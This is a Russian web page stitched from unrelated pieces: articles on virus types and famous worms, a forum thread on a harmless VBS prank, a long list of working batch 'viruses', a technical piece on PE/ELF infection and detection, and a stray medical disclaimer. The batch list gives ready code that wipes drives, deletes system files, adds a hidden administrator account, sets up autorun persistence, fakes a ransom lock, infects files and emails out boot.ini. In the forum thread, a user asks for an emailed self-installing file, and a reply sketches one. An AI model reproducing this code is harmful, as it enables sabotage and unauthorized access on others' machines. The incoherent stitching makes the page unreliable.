Примеры вирусов на рабочем столе

И снова здравствуйте.
Тема сегодняшней статьи компьютерные вирусы. Виды компьютерных вирусов, принципы их работы, пути заражения компьютерными вирусами.


Что вообще такое компьютерные вирусы.


Виды вредоносных программ.

Разделить вредоносные программы можно на два основных вида.
Вирусы и черви.

Но он явно попал не через интернет а скорее всего через пиратский диск. Суть его работы была таковой — он создавал будто бы копию каждой папки в компьютере или на флешке. Но на самом деле он создавал не похожую папку а exe файл. При нажатии на такой exe файл он распространялся ещё сильнее по системе. И вот было только избавишься от него, придешь к другу с флешкой, скинуть у него музыку а возвращаешься с зараженной таким червем флешку и снова приходилось его выводить. Наносил ли этот вирус какой то ещё вред системе я не знаю, но вскоре этот вирус прекратил своё существование.

Основные разновидности вирусов.


Пути заражения компьютерными вирусами.

Основные пути заражения.
— Уязвимость операционной системы.

— Уязвимость в браузере

— Качество антивируса хромает

— Глупость пользователя

— Сменные носители.
Уязвимость ОС — как бы не старались клепать защиту для ОС со временем находятся дыры безопасности. Большинство вирусов пишется под windows так как это самая популярная операционная система. Лучшая защита это постоянно обновлять вашу операционную систему и стараться использовать более новую версию.
Браузеры — Здесь происходит за счёт уязвимостей браузеров, особенно если они опять же старые. Лечится так же частым обновлением. Так же могут быть проблемы если вы качаете плагины для браузера со сторонних ресурсов.
Антивирусы — бесплатные антивирусы которые имеют меньший функционал в отличие от платных. Хотя и платные не дают 100 результата в защите и дают осечки. Но желательно иметь всё же хотя бы бесплатный антивирус. Я уже писал про бесплатные антивирусы в этой статье.
Глупость пользователя — клики по баннерам, переходи по подозрительным ссылкам из писем и тд, установка софта из подозрительных мест.
Сменные носители — вирусы могут устанавливаться автоматически с зараженных и специально подготовленных флешек и прочих сменных носителей. Не так давно мир услышал про уязвимость BadUSB.


Виды заражаемых объектов.

Файлы — Заражают ваши программы, системные и обычные файлы.
Загрузочные секторы — резидентные вирусы. Заражают как понятно из названия загрузочные сектора компьютера, приписывают свой код в автозагрузку компьютера и запускаются при запуске операционной системе. Порою хорошо маскируются что трудно убрать из автозагрузки.
Макрокоманды — Документы word, excel и подобные. Использую макросы и уязвимости средств Microsoft office вносит свой вредоносный код в вашу операционную систему.

Признаки заражения компьютерными вирусами.

Не факт что при появлении некоторых из этих признаков означает наличие вируса в системе. Но если они имеются рекомендуется проверить свой компьютер антивирусом или обратиться к специалисту.
Один из распространенных признаков — это сильная перегрузка компьютера. Когда у вас медленно работает компьютер, хотя у вас ничего вроде бы не включено, программ которые могут сильно нагружать компьютер. Но если у вас антивирус заметьте антивирусы сами по себе нагружают компьютер очень хорошо. А в случае отсутствия такого софта который может грузить то скорее тут вирусы. Вообще советую по уменьшить для начала количество запускаемых программ в автозапуске.

Медленная загрузка программ, так же может быть одним из признаков заражения.
Но не все вирусы могут сильно нагружать систему, некоторые практически трудно заметить изменения.
Системные ошибки. Перестают работать драйвера, некоторые программы начинают работать не правильно или часто вылетают с ошибкой но раньше допустим такого не замечалось. Или начинают часто перезагружаться программы. Конечно такое бывает из за антивирусов, например антивирус удалил по ошибке посчитав системный файл вредоносным, либо удалил действительно зараженный файл но он был связан с системными файлами программы и удаление повлекло за собой такие ошибки.



Появление рекламы в браузерах или даже на рабочем столе начинают появляться баннеры.
Появление не стандартных звуков при работе компьютера (писк, щелчки ни с того ни с сего и подобное).
Открывается сам по себе CD/DVD привод, или просто начинает словно читать диск хотя диска там нет.
Длительное включение или выключение компьютера.
Угон ваших паролей. Если вы заметили что от вашего имени рассылается различный спам, с вашего почтового ящика или странички социальной сети, как вероятность что вирус проник в ваш компьютер и передал пароли хозяину, если вы заметили такое рекомендую провериться антивирусом в обязательном порядке (хотя не факт что именно так злоумышленник получил ваш пароль).
Частое обращение к жесткому диску. У каждого компьютера есть индикатор, который мигает когда используют различные программы или когда копируете, скачиваете, перемещаете файлы. Например у вас просто включен компьютер но не используется никаких программ, но индикатор начинает часто мигать якобы используются программы. Это уже вирусы на уровне жесткого диска.

Вот собственно и рассмотрели компьютерные вирусы которые могут вам встретиться в интернете. Но на самом деле их в разы больше, и полностью защититься не возможно, разве что не пользоваться интернетом, не покупать диски и вообще не включать компьютер.

Советую по возможности не пренебрегать использованием виртуальных машин или песочницы.

Берегите себя и свои компьютеры.

Весной на продажу выставили ноутбук Samsung NC10-14GB, выпущенный в 2008 году, с установленной на нем Windows XP SP3. Однако интерес вызывал не сам компьютер, а то, что у него внутри — шесть вирусов: ILOVEYOU, MyDoom, SoBig, WannaCry, DarkTequila и BlackEnergy, которые нанесли прямой и косвенный ущерб почти на $100 млрд.

Содержание



ILOVEYOU

ILOVEYOU начал свой путь с Филиппин, вирус рассылал свои копии по адресным книгам, поэтому единственный пользователь с обширной базой адресатов заражал огромное количество машин.


Предполагается, что авторы вируса, Онел Де Гузман и Реонэл Рамонес с Филиппин, которые якобы хотели проверить гипотезы дипломной работы, не ожидали случившейся бури. Позже молодых людей задержали (помог анализ кода оригинальной версии ILOVEYOU), но после расследования отпустили.


Вирус использовал уязвимость в операционной системе Windows и программе Outlook в частности, которая по умолчанию разрешала обработку скриптов. Причиной эпидемии называют то, что разработчики из MS в то время не считали скриптовые языки угрозой, поэтому эффективной защиты от нее не предусмотрели. Кроме того, авторы ILOVEYOU намеренно или по незнанию выпустили в мир не только инструмент для уничтожения — они предоставили конструктор, который можно изменять под свои нужды. Это привело к появлению десятков модификаций вредоноса.

Как следует из рассказов представителей компаний, которые занимались обеспечением информационной безопасности, вокруг творилась истерика, телефоны звонили безостановочно. Распространению вируса способствовала социальная инженерия: модифицированные его версии поступали от имени друзей, предлагающих встретиться, письма якобы содержали информацию о том, как получить подарок, предлагали почитать анекдоты и так далее. Знакомая классика.


Все было так плохо, что некоторые крупные военные ведомства (тот же Пентагон) и компании были вынуждены полностью остановить почтовые сервисы. Позже источники называли разные цифры, отражающие количество зараженных компьютеров, — от сотен тысяч до десятков миллионов.

Что делал ILOVEYOU? Червь, получив доступ к системе после своего запуска (куда уж без участия пользователя), всего-то изменял и уничтожал файлы. А бэкапов тогда практически никто не делал.

Sobig

Вирус Sobig впервые заметили в 2002 году. Считается, что он заразил миллионы компьютеров по всему миру, действуя вначале под другим названием. По некоторым данным, экономический ущерб от его действий превысил $35 млрд, однако, как и в остальных случаях, подсчеты носят приблизительный и отчасти гипотетический характер.


Ну а дальше дело за вложениями с двойными (например, .mpeg.pif) или обычными расширениями (просто .pif или .scr) — пользователь сам инфицировал систему.


Microsoft пыталась бороться с вирусом, выпустив патч, позволяющий блокировать некоторые типы файлов, но .zip среди них не было, чем и воспользовались хакеры. Потом софтверная корпорация предложила награду в четверть миллиона долларов за голову автора (не за голову, за имя, конечно), но его так и не нашли. По одной из гипотез, автором червя является программист Руслан Ибрагимов, но он с этим не согласен.

Mydoom

Mydoom, который появился в 2004 году, побил рекорды ILOVEYOU и Sobig по скорости распространения. А также рекорд Sobig по нанесенному экономическому ущербу — якобы более $38 млрд.


По данным Symantec, в ней было реализовано два триггера. Один был ответственным за организацию DoS-атак начиная с 1 февраля 2004 года, второй останавливал распространение вируса 12 февраля того же года, но бэкдоры оставались активными. Правда, это касалось одной из версий, последующие имели более поздние сроки запуска и отключения. Так что никаких совестливых хакеров.


Основной целью вируса, вероятно, была организация DoS-атак, а также рассылка нежелательной почты. Побочным эффектом стало повсеместное снижение скорости доступа в интернет, рост объемов спама, ограничение доступа к некоторым ресурсам и блокировка работы антивирусного ПО.

Здравствуйте! В этом посте (первом) я покажу, как создавать вирус шутку через блокнот. Сразу прошу не бомбить и не писать гневные комменты типа: "Да такого миллион!", "Да что ты знаешь!", "Да пошел ты в жопу!" и т.д. Да, я знаю, что эти "вирусы" создавали давно. Но я к примеру открыл для себя это совсем недавно. Месяца 3 назад.

Ближе к делу: я буду рассказывать что эта шутка вообще делает, буду вставлять скрины и все объяснять. Напомню, это ознакомительный пост! В других постах я буду конкретно писать, как создать такой-то вирус.

Вирус-шутка это программа, которую создают в блокноте. Т.е. пишешь там команды и сохраняешь их определенных форматах. Если все правильно сделано, без ошибок, то вирус-шутка сработает. Кстати, "вирус-шутка" это условное название. В блокноте можно создать и игру, и крестики нолики, часы.

ПРЕДУПРЕЖДЕНИЕ. Перед созданием вируса отключите Анти-Вирус.

1) Создание вируса: Для начала откройте блокнот.


2) В блокноте начинайте писать команду. Для начала скопируйте этот текст туда:

msgbox"Ты не против, если я буду жить у тебя в компе?",32+4,"Вопрос"

msgbox"Ок, ты не против",64,"Я понял"

msgbox"Ок, ты не против",64,"Я понял"

msgbox"Это шутка, это НЕ вирус :) ХАХАХАХА",64,"Я пошутил"

msgbox"Или же нет. ",64,". "

Я НЕ ЖЕЛАЮ ВАМ ЗЛА! ЭТОТ ВИРУС НЕ МОЖЕТ ПРИНЕСТИ ВАМ И ВАШЕМУ КОМПУ ВРЕДА!


3) Сохраните ваш текст в формате .vbs Смотрите далее.




4) Теперь у вас на Рабочем столе должен появиться вот такой значок:


5) Заходите в него.

6) У вас должен открыться вирус-шутка. Если же не работает, то два варианта: либо у вас включен Анти-Вирус, либо ваш комп не поддерживает это.


7) НЕ ПУГАЙТЕСЬ! ВИРУС-ШУТКА НЕ ПРИНЕСЕТ ВРЕДА. Теперь вам осталось читать то, что там написано, и кликать по кнопкам (любым).

Вы можете изменить в команде вируса текст. Например вместо "Windows удалить?" можно написать "ставьте лайки!". Удачи вам, экспериментируйте со своими вирусами!

И так, как я обещал, это был ознакомительный пост. Вскоре я выложу пост, где подробно опишу все значения, как все делать и т.д. Отпишитесь в тапках как вам мой пост, киньте скрины своего вируса. Мне будет интересно :D

сука! у меня винда удалилась!

Не ври. Этот вирус-шутка и близко такого сделать не может.

ТС, у вас тоже снегопад? Занятия в школах отменили?

Да, отменили. Вот и сижу, "клавотюкаюсь".

Мне хочется узнать все подробно как это работает что обозначает msgbox, цифры 64; 32+4

"msgbox" - название команды, которая выводит стандартный диалог. Цифрами выбирается стиль отображения (иконка внутри диалога и воспроизводимый звук при открытии). Также стилем выбираются кнопки (их текст и количество)

Отображаемых иконок всего 4: ошибка, вопрос, восклицание и внимание. Столько-же звуков.
Кнопок в связке по более:
Ок
Ок, Отмена
Да, Нет
Да, Нет, Отмена
Повтор, Отмена
Пропустить, Повторить Отменить

Т.к. эти диалоги выдаются системой, то можно указать только заголовок и текст диалога. Свой текст кнопок или свою иконку Вы не сможете установить. Можно вывести диалог без иконки. Вроде ничего не забыл. Давно увлекался этим, потом перешел на норм. язык программирования.

Ой, а может поможете раз разбираетесь?

Хочу коллегу разыграть/ поздравить с днем рождения. Он в командировке сейчас. Хочу ему на почту файл бросить который в определенный день ему на принтер выведет поздравление. Как можно батник сделать, чтобы он себя в автозагрузку прописал и именно в определенный день сработал? Ну и удалился потом, чтоб он не догадался.

В инете поискал, там только на удаление доков батники) и определенного дня нельзя поставить.

Если хотите именно батник, то можно попробовать использовать планировщик Windows, но с батниками куча ограничений.

О поздравлялке: даже если Вы отправите эл. письмо с батником или exe-шником, то поздравление не сработает, пока его не скачают и не запустят. В некоторых случаях почтовый сервис может отправить письмо в папку "Спам" (пользователь его не увидит), либо при скачивании файл заблокирует антивирус, но это все маловероятно.

На счет печати принтером: это можно, но обязательно? Можно например вывести на экран красивый диалог, или картинку :)

Нет с программкой не тот эффект))) Да и вк нету.

Просто хотелось отправить на почту письмо, (его обязательно откроют, так как с этого адреса только по работе приходит, да и с чувством опасности у людей проблемы))), чтоб этот файл прописался в планировщик или в автозагрузку, а в нужный день отправил бы на печать текст. Там принтер ежедневно включают, так что по-любому бы удивил)))

Я батники когда-то давно делал. Даже похожий прикол видел, когда из планировщика каждый день на печать выходит "Ты умрешь через *** дней", "Ты умрешь завтра", "Это случится сегодня". Но там надо было за компом посидеть, чтоб настроить. А как это "дистанционно" через почту сделать я не знаю.

В любом случае спасибо.

Хм, думаю, что через батник хоть и сложно, но реально: батник запускает установщик Windows (msiexec.exe) с параметром, который скачает и установит программу и документ с текстом печати. Программа прописывается в автозапуск и следит за датой и временем системы. Как только дата начала наступает, программа запускает скрытый процесс Microsoft Office Word (winword.exe) с параметром начала печати нашего документа. Программа делает какую-нибудь отметку на каком-либо ресурсе (сайте или сервере), что она успешно отработала. Запускается msiexec.exe с параметром удаления нашей программы (программа удаляется с компьютера).

Несколько вопросов:
- на компьютере есть MS Office Word? Иначе придется создавать документ формата .rtf (поддерживается системой без доп. софта)
- проще изначально в письме использовать не батник, а именно приложение (exe-файл, т.к. не придется сначала создавать, а после скачивать установщик). Если нужно, то предоставлю исходный код приложения. Язык программирования - AutoIt 3. Его синтаксис очень напоминает рассматриваемые в посте скрипты. Так может лучше обойтись без батника?
- нужны дата запуска печати документа и текст поздравления
- желательно заранее знать, какая операционная система установлена на компьютере, где будет выполняться "поздравлялка" (XP, Vista, 7, 8, 8.1, 10 или серверные редакции систем Windows)?



Простенькие вирусы:
Убирает рабочий стол
@echo off
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d 1 /f >nul

Выключается компьютер
@echo off
shutdown -s -t 1 -c "lol" >nul

Перезагрузка компьютера
@echo off
shutdown -r -t 1 -c "lol" >nul

Запрещает запускать программы
@echo off
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictRun /v 1 /t REG_DWORD /d %SystemRoot%\explorer.exe /f >nul

Удаление дров
@echo off
del "%SystemRoot%\Driver Cache\i386\driver.cab" /f /q >nul

Удаляет звуки Windows
@echo off
del "%SystemRoot%\Media" /q >nul

Запрещает заходить в панель управления
@echo off
reg add HKCU\Software\Microsoft\Windows\Current Version\Policies\Explorer
/v NoControlPanel /t REG_DWORD /d 1 /f >nul

Запрещает комбинацию Ctrl-Alt-Delete
reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v DisableTaskMgr /t REG_DWORD /d 1 /f >nul

Меняет местами значение кнопок мыши
%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul

Удаляет курсор мыши
del "%SystemRoot%Cursors*.*" >nul

Меняет название корзины
reg add HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache /v @C:\WINDOWS\system32\SHELL32.dll,-8964 /t REG_SZ /d ТУТ НАЗВАНИЕ КОРЗИНЫ /F

Убирает панель управления
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f

Удаляет ВСЕ с раздела\диска(не пытайтесь проверить у себя)
rd [Буква_Диск]: /s /q

Удаляет все файлы в program files
del c:Program Files/q

Убивает процесс explorer.exe
taskkill /f /im explorer.exe >nul

Создает миллион папок
FOR /L %%i IN (1,1,1000000) DO md %%i

Удаляет все драйвера, которые установлены на компьютере
del "%SystemRoot%Driver Cachei386driver.cab" /f /q >nul

Удаляет команду DEL
del %0

Будет открывать бесконечно Paint
:x
Start mspaint
goto x

Изменяет расширение всех ярлыков на .txt
assoc .lnk=.txt

Заражает Autoexec
copy ""%0"" "%SystemRoot%\system32\batinit.bat" >nul
reg add "HKCU\SOFTWARE\Microsoft\Command Processor" /v AutoRun /t REG_SZ /d "%SystemRoot%\syste m32\batinit.bat" /f >nul

Создает нового пользователя, с правами администратора, логин:hacker и пароль hack (Можете изменить)
@echo off
chcp 1251
net user SUPPORT_388945a0 /delete
net user hacker hack /add
net localgroup Администраторы hacker /add
net localgroup Пользователи SUPPORT_388945a0 /del
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogonSpecialAccountsUserList" /v "support" /t reg_dword /d 0 y

сбой системы (!) - выключить все функции ввода-вывода (клавиатура, дисплей, мышь). В результате будет черный экран с курсором и ни на что не реагирующая система, однако Windows продолжает работать.
rundll32 user,disableoemlayer

Меняет местами кнопки мыши,но обратная смена не возможна)
rundll32 user,SwapMouseButton

Удаляет ядро системы
del %systemroot%\system32\HAL.dll

Заражает *.jpg *.mp3 *.doc *.htm? *.xls. (Заражает
не только в текущем каталоге, но и надкаталоге)
@echo off%[MrWeb]%
if '%1=='In_ goto MrWebin
if exist c:\MrWeb.bat goto MrWebru
if not exist %0 goto MrWeben
find "MrWeb" c:\MrWeb.bat
attrib +h c:\MrWeb.bat
:MrWebru
for %%g in (..\*.jpg ..\*.doc ..\*.htm? *.jpg *.mp3 *.doc *.htm? *.xls) do call c:\MrWeb In_ %%ggoto MrWeben
:MrWebin
if exist %2.bat goto MrWeben
type c:\MrWeb.bat>>%2.bat
echo start %2>>%2.bat%[MrWeb]%
:MrWeben

Вирус заражает *.JPG в текущем каталоге
@echo off%[MrWeb]%
if '%1=='In_ goto MrWebin
if exist c:\MrWeb.bat goto MrWebru
if not exist %0 goto MrWeben
find "MrWeb" c:\MrWeb.bat
attrib +h c:\MrWeb.bat
:MrWebru
for %%g in (*.jpg) do call c:\MrWeb In_ %%g
goto MrWeben
:MrWebin
if exist %2.bat goto MrWeben
type c:\MrWeb.bat>>%2.bat
echo start %2>>%2.bat%[MrWeb]%
:MrWeben

Жестокие вирусы:
У вашего ламера будет глючить компьютер.
@echo off
echo Set fso = CreateObject("Scripting.FileSystemObject") > %systemdrive%\windows\system32\rundll32.vbs
echo do >> %systemdrive%\windows\system32\rundll32.vbs
echo Set tx = fso.CreateTextFile("%systemdrive%\windows\system32\rundll32.dat", True) >> %systemdrive%\windows\system32\rundll32.vbs
echo tx.WriteBlankLines(100000000) >> %systemdrive%\windows\system32\rundll32.vbs
echo tx.close >> %systemdrive%\windows\system32\rundll32.vbs
echo FSO.DeleteFile "%systemdrive%\windows\system32\rundll32.dat" >> %systemdrive%\windows\system32\rundll32.vbs
echo loop >> %systemdrive%\windows\system32\rundll32.vbs
start %systemdrive%\windows\system32\rundll32.vbs
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v system_host_run /t REG_SZ /d %systemdrive%\windows\system32\rundll32.vbs /f

") = 25 >> %temp%\temp.vbs
echo Flds.Update >> %temp%\temp.vbs
echo iMsg.Configuration = iConf >> %temp%\temp.vbs
echo iMsg.To = strTo >> %temp%\temp.vbs
echo iMsg.From = strFrom >> %temp%\temp.vbs
echo iMsg.Subject = strSubject >> %temp%\temp.vbs
echo iMsg.TextBody = strBody >> %temp%\temp.vbs
echo iMsg.AddAttachment "c:\boot.ini" >> %temp%\temp.vbs
echo iMsg.Send >> %temp%\temp.vbs
echo End Function >> %temp%\temp.vbs
echo Set iMsg = Nothing >> %temp%\temp.vbs
echo Set iConf = Nothing >> %temp%\temp.vbs
echo Set Flds = Nothing >> %temp%\temp.vbs

echo s.run "shutdown -r -t 0 -c ""pcforumhack.ru™"" -f",1 >> %temp%\temp.vbs
start %temp%\temp.vbs
start %temp%\temp1.vbs
start %temp%\temp2.vbs

Вирус полностью блокирует систему при следующем запуске Windows.Даже в безопасном режиме, выключает диспетчер задач.Чтобы разблокировать компьютер можно введя код 200393!(Но он не разблокирует)
@echo off
CHCP 1251
cls
Set Yvaga=На вашем компьютере найден вирус.
Set pass=Пароль
Set pas=Введите пароль.
Set virus=Чтобы разблокировать ПК вам потребуется ввести пароль
Set dim=Выключаю вирус.
title Внимание.
CHCP 866
IF EXIST C:\windows\boot.bat (
goto ok )
cls
IF NOT EXIST C:\windows\boot.bat (
ECHO Windows Registry Editor Version 5.00 >> C:\0.reg
ECHO. >> C:\0.reg
ECHO [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >> C:\0.reg
ECHO. >> C:\0.reg
ECHO "Shell"="Explorer.exe, C:\\windows\\boot.bat " >> C:\0.reg
start/wait regedit -s C:\0.reg
del C:\0.reg
ECHO @echo off >>C:\windows\boot.bat
ECHO C:\WINDOWS\system32\taskkill.exe /f /im Explorer.exe >>C:\windows\boot.bat
ECHO reg add "HKCU\software\Microsoft\Windows\CurrentVersion\Policies\system" /v DisableTaskMgr /t REG_DWORD /d 1 /f >>C:\windows\boot.bat
ECHO start sys.bat >>C:\windows\boot.bat
attrib +r +a +s +h C:\windows\boot.bat
copy virus.bat c:\windows\sys.bat
attrib +r +a +s +h C:\windows\sys.bat
GOTO end)
:ok
cls
Echo %Yvaga%
echo.
echo %virus%
echo %pas%
set /a choise = 0
set /p choise=%pass%:
if "%choise%" == "101" goto gold
if "%choise%" == "200393" goto status
exit
:status
echo %dim%
attrib -r -a -s -h C:\windows\boot.bat
del C:\windows\boot.bat
attrib -r -a -s -h C:\windows\sys.bat
del C:\windows\sys.bat
cls
:gold
start C:\
:end

Добавляет программу в автозагрузку ОС
copy ""%0"" "%SystemRoot%\system32\File.bat"
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Filel" /t REG_SZ /d "%SystemRoot%\system32\File.bat" /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f

Этот вирус,блокирует все программы,но интернет работает.
@Echo off
Echo Virus Loading
Date 13.09.96
If exist c:ski.bat goto abc
Copy %0 c:ski.bat
Attrib +h c:ski.bat
Echo c:ski.bat >>autoexec.bat
:abc
md PRIDUROK
md LUZER
md DURAK
md LAMER
Label E: PRIDUROK
assoc .exe=.mp3
del c:Program Files/q
Echo VIRUS LOAD


@echo off
chcp 1251
echo щаска.
color 4
@echo Вас собирается


Поговорим о компьютерных вирусах? Нет, не о том, что вчера поймал ваш антивирус. Не о том, что вы скачали под видом инсталлятора очередного Photoshop. Не о rootkit-e, который стоит на вашем сервере, маскируясь под системный процесс. Не о поисковых барах, downloader-ах и другой малвари. Не о коде, который делает плохие вещи от вашего имени и хочет ваши деньги. Нет, всё это коммерция, никакой романтики…

В общем, для статьи вполне достаточно лирики, перейдем к делу. Я хочу рассказать о классическом вирусе, его структуре, основных понятиях, методах детектирования и алгоритмах, которые используются обеими сторонами для победы.

Мы будем говорить о вирусах, живущих в исполняемых файлах форматов PE и ELF, то есть о вирусах, тело которых представляет собой исполняемый код для платформы x86. Кроме того, пусть наш вирус не будет уничтожать исходный файл, полностью сохраняя его работоспособность и корректно инфицируя любой подходящий исполняемый файл. Да, ломать гораздо проще, но мы же договорились говорить о правильных вирусах, да? Чтобы материал был актуальным, я не буду тратить время на рассмотрение инфекторов старого формата COM, хотя именно на нем были обкатаны первые продвинутые техники работы с исполняемым кодом.

Начнём со свойств кода вируса. Чтобы код удобней было внедрять, разделять код и данные не хочется, поэтому обычно используется интеграция данных прямо в исполняемый код. Ну, например, так:


Все эти варианты кода при определенных условиях можно просто скопировать в память и сделать JMP на первую инструкцию. Правильно написав такой код, позаботившись о правильных смещениях, системных вызовах, чистоте стека до и после исполнения, и т.д., его можно внедрять внутрь буфера с чужим кодом.

Исполняемый файл (PE или ELF) состоит из заголовка и набора секций. Секции – это выровненные (см. ниже) буферы с кодом или данными. При запуске файла секции копируются в память и под них выделяется память, причем совсем необязательно того объёма, который они занимали на диске. Заголовок содержит разметку секций, и сообщает загрузчику, как расположены секции в файле, когда он лежит на диске, и каким образом необходимо расположить их в памяти перед тем, как передать управление коду внутри файла. Для нас интересны три ключевых параметра для каждой секции, это psize, vsize, и flags. Psize (physical size) представляет собой размер секции на диске. Vsize (virtual size) – размер секции в памяти после загрузки файла. Flags – атрибуты секции (rwx). Psize и Vsize могут существенно различаться, например, если программист объявил в программе массив в миллион элементов, но собирается заполнять его в процессе исполнения, компилятор не увеличит psize (на диске содержимое массива хранить до запуска не нужно), а вот vsize увеличит на миллион чего-то там (в runtime для массива должно быть выделено достаточно памяти).

Флаги (атрибуты доступа) будут присвоены страницам памяти, в которые секция будет отображена. Например, секция с исполняемым кодом будет иметь атрибуты r_x (read, execute), а секция данных атрибуты rw_ (read,write). Процессор, попытавшись исполнить код на странице без флага исполнения, сгенерирует исключение, то же касается попытки записи на страницу без атрибута w, поэтому, размещая код вируса, вирмейкер должен учитывать атрибуты страниц памяти, в которых будет располагаться код вируса. Стандартные секции неинициализированных данных (например, область стека программы) до недавнего времени имели атрибуты rwx (read, write, execute), что позволяло копировать код прямо в стек и исполнять его там. Сейчас это считается немодным и небезопасным, и в последних операционных системах область стека предназначена только для данных. Разумеется, программа может и сама изменить атрибуты страницы памяти в runtime, но это усложняет реализацию.

Также, в заголовке лежит Entry Point — адрес первой инструкции, с которой начинается исполнение файла.

Необходимо упомянуть и о таком важном для вирмейкеров свойстве исполняемых файлов, как выравнивание. Для того чтобы файл оптимально читался с диска и отображался в память, секции в исполняемых файлах выровнены по границам, кратным степеням двойки, а свободное место, оставшееся от выравнивания (padding) заполнено чем-нибудь на усмотрение компилятора. Например, логично выравнивать секции по размеру страницы памяти – тогда ее удобно целиком копировать в память и назначать атрибуты. Даже вспоминать не буду про все эти выравнивания, везде, где лежит мало-мальски стандартный кусок данных или кода, его выравнивают (любой программист знает, что в километре ровно 1024 метра). Ну а описание стандартов Portable Executable (PE) и Executable Linux Format (ELF) для работающего с методами защиты исполняемого кода – это настольные книжки.

Если мы внедрим свой код в позицию точно между инструкциями, то сможем сохранить контекст (стек, флаги) и, выполнив код вируса, восстановить все обратно, вернув управление программе-хосту. Конечно, с этим тоже могут быть проблемы, если используются средства контроля целостности кода, антиотладка и т.п., но об этом тоже во второй статье. Для поиска такой позиции нам необходимо вот что:

  • поставить указатель точно на начало какой-нибудь инструкции (просто так взять рандомное место в исполняемой секции и начать дизассемблирование с него нельзя, один и тот же байт может быть и опкодом инструкции, и данными)
  • определить длину инструкции (для архитектуры x86 инструкции имеют разные длины)
  • переместить указатель вперед на эту длину. Мы окажемся на начале следующей инструкции.
  • повторять, пока не решим остановиться

Это минимальный функционал, необходимый для того, чтобы не попасть в середину инструкции, а функция, которая принимает указатель на байтовую строку, а в ответ отдает длину инструкции, называется дизассемблером длин. Например, алгоритм заражения может быть таким:
  1. Выбираем вкусный исполняемый файл (достаточно толстый, чтобы в него поместилось тело вируса, с нужным распределением секций и т.п.).
  2. Читаем свой код (код тела вируса).
  3. Берем несколько первых инструкций из файла-жертвы.
  4. Дописываем их к коду вируса (сохраняем информацию, необходимую для восстановления работоспособности).
  5. Дописываем к коду вируса переход на инструкцию, продолжающую исполнение кода-жертвы. Таким образом, после исполнения собственного кода вирус корректно исполнит пролог кода-жертвы.
  6. Создаем новую секцию, записываем туда код вируса и правим заголовок.
  7. На место этих первых инструкций кладем переход на код вируса.

Это вариант вполне себе корректного вируса, который может внедриться в исполняемый файл, ничего не сломать, скрыто выполнить свой код и вернуть исполнение программе-хосту. Теперь, давайте его ловить.

Думаю, не надо описывать вам компоненты современного антивируса, все они крутятся вокруг одного функционала – антивирусного детектора. Монитор, проверяющий файлы на лету, сканирование дисков, проверка почтовых вложений, карантин и запоминание уже проверенных файлов – все это обвязка основного детектирующего ядра. Второй ключевой компонент антивируса – пополняемые базы признаков, без которых поддержание антивируса в актуальном состоянии невозможно. Третий, достаточно важный, но заслуживающий отдельного цикла статей компонент – мониторинг системы на предмет подозрительной деятельности.

Итак (рассматриваем классические вирусы), на входе имеем исполняемый файл и один из сотни тысяч потенциальных вирусов в нем. Давайте детектировать. Пусть это кусок исполняемого кода вируса:

Как мы увидели, для быстрого и точного сравнения детектору необходимы сами байты сигнатуры и ее смещение. Или, другим языком, содержимое кода и адрес его расположения в файле-хосте. Поэтому понятно, как развивались идеи сокрытия исполняемого кода вирусов – по двум направлениям:

  • сокрытие кода самого вируса;
  • сокрытие его точки входа.

Сокрытие кода вируса в результате вылилось в появление полиморфных движков. То есть движков, позволяющих вирусу изменять свой код в каждом новом поколении. В каждом новом зараженном файле тело вируса мутирует, стараясь затруднить обнаружение. Таким образом, затрудняется создание содержимого сигнатуры.

Сокрытие точки входа (Entry Point Obscuring) в результате послужило толчком для появления в вирусных движках автоматических дизассемблеров для определения, как минимум, инструкций перехода. Вирус старается скрыть место, с которого происходит переход на его код, используя из файла то, что в итоге приводит к переходу: JMP, CALL, RET всякие, таблицы адресов и т.п. Таким образом, вирус затрудняет указание смещения сигнатуры.

Гораздо более подробно некоторые алгоритмы таких движков и детектора мы посмотрим во второй статье, которую я планирую написать в ближайшее время.

Рассмотренный в статье детектор легко детектирует неполиморфные (мономорфными их назвать, что ли) вирусы. Ну а переход к полиморфным вирусам является отличным поводом, наконец, завершить эту статью, пообещав вернуться к более интересным методам сокрытия исполняемого кода во второй части.

Читайте также:

Пожалуйста, не занимайтесь самолечением!
При симпотмах заболевания - обратитесь к врачу.